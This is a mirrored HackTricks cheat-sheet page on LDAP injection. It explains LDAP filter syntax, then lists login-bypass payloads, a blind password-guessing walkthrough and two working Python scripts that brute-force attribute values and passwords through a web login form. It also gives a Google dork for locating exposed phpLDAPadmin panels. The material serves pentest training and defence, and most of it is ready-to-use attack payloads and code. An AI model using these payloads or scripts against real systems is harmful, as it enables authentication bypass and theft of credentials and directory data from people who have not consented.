mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
192 lines
5.8 KiB
Markdown
192 lines
5.8 KiB
Markdown
|
# LDAP Injection
|
||
|
|
||
|
## **LDAP**
|
||
|
|
||
|
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||
|
|
||
|
**Ports 389 y 636**
|
||
|
|
||
|
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||
|
|
||
|
**Filter** = \( filtercomp \)
|
||
|
**Filtercomp** = and / or / not / item
|
||
|
**And** = & filterlist
|
||
|
**Or** = \|filterlist
|
||
|
**Not** = ! filter
|
||
|
**Filterlist** = 1\*filter
|
||
|
**Item**= simple / present / substring
|
||
|
**Simple** = attr filtertype assertionvalue
|
||
|
**Filtertype** = _'=' / '~=' / '>=' / '<='_
|
||
|
**Present** = attr = \*
|
||
|
**Substring** = attr ”=” \[initial\] \* \[final\]
|
||
|
**Initial** = assertionvalue
|
||
|
**Final** = assertionvalue
|
||
|
**\(&\)** = Absolute TRUE
|
||
|
**\(\|\)** = Absolute FALSE
|
||
|
|
||
|
For example:
|
||
|
\(&\(!\(objectClass=Impresoras\)\)\(uid=s\*\)\)
|
||
|
\(&\(objectClass=user\)\(uid=\*\)\)
|
||
|
|
||
|
You can access to the database, and this can content information of a lot of different types.
|
||
|
|
||
|
The backups of LDAP uses the extension _ldif_
|
||
|
|
||
|
**OpenLDAP**: If 2 filters arrive, only executes the first one.
|
||
|
**ADAM or Microsoft LDS**: With 2 filters they throw an error.
|
||
|
**SunOne Directory Server 5.0**: Execute both filters.
|
||
|
|
||
|
**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
|
||
|
|
||
|
The filter has to start with: _&_ or _\|_
|
||
|
Example: _\(&\(directory=val1\)\(folder=public\)\)_
|
||
|
|
||
|
\(&\(objectClass=VALUE1\)\(type=Epson\*\)\)
|
||
|
VALUE1 = _\*\)\(ObjectClass=\*\)\)\(&\(objectClass=void_
|
||
|
|
||
|
Then: _\(&\(objectClass=**\*\)\(ObjectClass=\*\)\)**_ will be the first filter \(the one executed\).
|
||
|
|
||
|
## Login Bypass
|
||
|
|
||
|
LDAP supports several formats to store the password: clear, md5, smd5, sh1, ssha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
|
||
|
|
||
|
```bash
|
||
|
user=*
|
||
|
password=*
|
||
|
--> (&(user=*)(password=*))
|
||
|
# The asterisks are great in LDAPi
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(&
|
||
|
password=*)(&
|
||
|
--> (&(user=*)(&)(password=*)(&))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(|(&
|
||
|
pass=pwd)
|
||
|
--> (&(user=*)(|(&)(pass=pwd))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(|(password=*
|
||
|
password=test)
|
||
|
--> (&(user=*)(|(password=*)(password=test))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*))%00
|
||
|
pass=any
|
||
|
--> (&(user=*))%00 --> Nothing more is executed
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=admin)(&)
|
||
|
password=pwd
|
||
|
--> (&(user=admin)(&))(password=pwd) #Can through an error
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username = admin)(!(&(|
|
||
|
pass = any))
|
||
|
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSO then the user is admin and the password check is True.
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username=*
|
||
|
password=*)(&
|
||
|
--> (&(user=*)(password=*)(&))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username=admin))(|(|
|
||
|
password=any
|
||
|
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||
|
```
|
||
|
|
||
|
[LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20injection/Intruders/LDAP_FUZZ.txt)
|
||
|
[LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20injection/Intruders/LDAP_attributes.txt)
|
||
|
[LDAP\_authBypass](https://feelsec.info/wp-content/uploads/2018/11/LDAP_authBypass.txt)
|
||
|
|
||
|
## Blind LDAP Injection
|
||
|
|
||
|
You can iterate over the ascii letters, digits and symbols:
|
||
|
|
||
|
```bash
|
||
|
(&(sn=administrator)(password=*)) : OK
|
||
|
(&(sn=administrator)(password=A*)) : KO
|
||
|
(&(sn=administrator)(password=B*)) : KO
|
||
|
...
|
||
|
(&(sn=administrator)(password=M*)) : OK
|
||
|
(&(sn=administrator)(password=MA*)) : KO
|
||
|
(&(sn=administrator)(password=MB*)) : KO
|
||
|
...
|
||
|
```
|
||
|
|
||
|
## Scripts
|
||
|
|
||
|
### **Discover valid LDAP fields**
|
||
|
|
||
|
LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of ****[**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)**.**
|
||
|
|
||
|
```python
|
||
|
#!/usr/bin/python3
|
||
|
import requests
|
||
|
import string
|
||
|
from time import sleep
|
||
|
import sys
|
||
|
|
||
|
proxy = { "http": "localhost:8080" }
|
||
|
url = "http://10.10.10.10/login.php"
|
||
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||
|
|
||
|
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
|
||
|
|
||
|
for attribute in attributes: #Extract all attributes
|
||
|
value = ""
|
||
|
finish = False
|
||
|
while not finish:
|
||
|
for char in alphabet: #In each possition test each possible printable char
|
||
|
query = f"*)({attribute}={value}{char}*"
|
||
|
data = {'login':query, 'password':'bla'}
|
||
|
r = requests.post(url, data=data, proxies=proxy)
|
||
|
sys.stdout.write(f"\r{attribute}: {value}{char}")
|
||
|
#sleep(0.5) #Avoid brute-force bans
|
||
|
if "Cannot login" in r.text:
|
||
|
value += str(char)
|
||
|
break
|
||
|
|
||
|
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
|
||
|
finish = True
|
||
|
print()
|
||
|
```
|
||
|
|
||
|
### **Special Blind LDAP Injection \(without "\*"\)**
|
||
|
|
||
|
```python
|
||
|
#!/usr/bin/python3
|
||
|
|
||
|
import requests, string
|
||
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||
|
|
||
|
flag = ""
|
||
|
for i in range(50):
|
||
|
print("[i] Looking for number " + str(i))
|
||
|
for char in alphabet:
|
||
|
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
|
||
|
if ("TRUE CONDITION" in r.text):
|
||
|
flag += char
|
||
|
print("[+] Flag: " + flag)
|
||
|
break
|
||
|
```
|
||
|
|
||
|
## Google Dorks
|
||
|
|
||
|
```bash
|
||
|
intitle:"phpLDAPadmin" inurl:cmd.php
|
||
|
```
|
||
|
|
||
|
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection)
|
||
|
|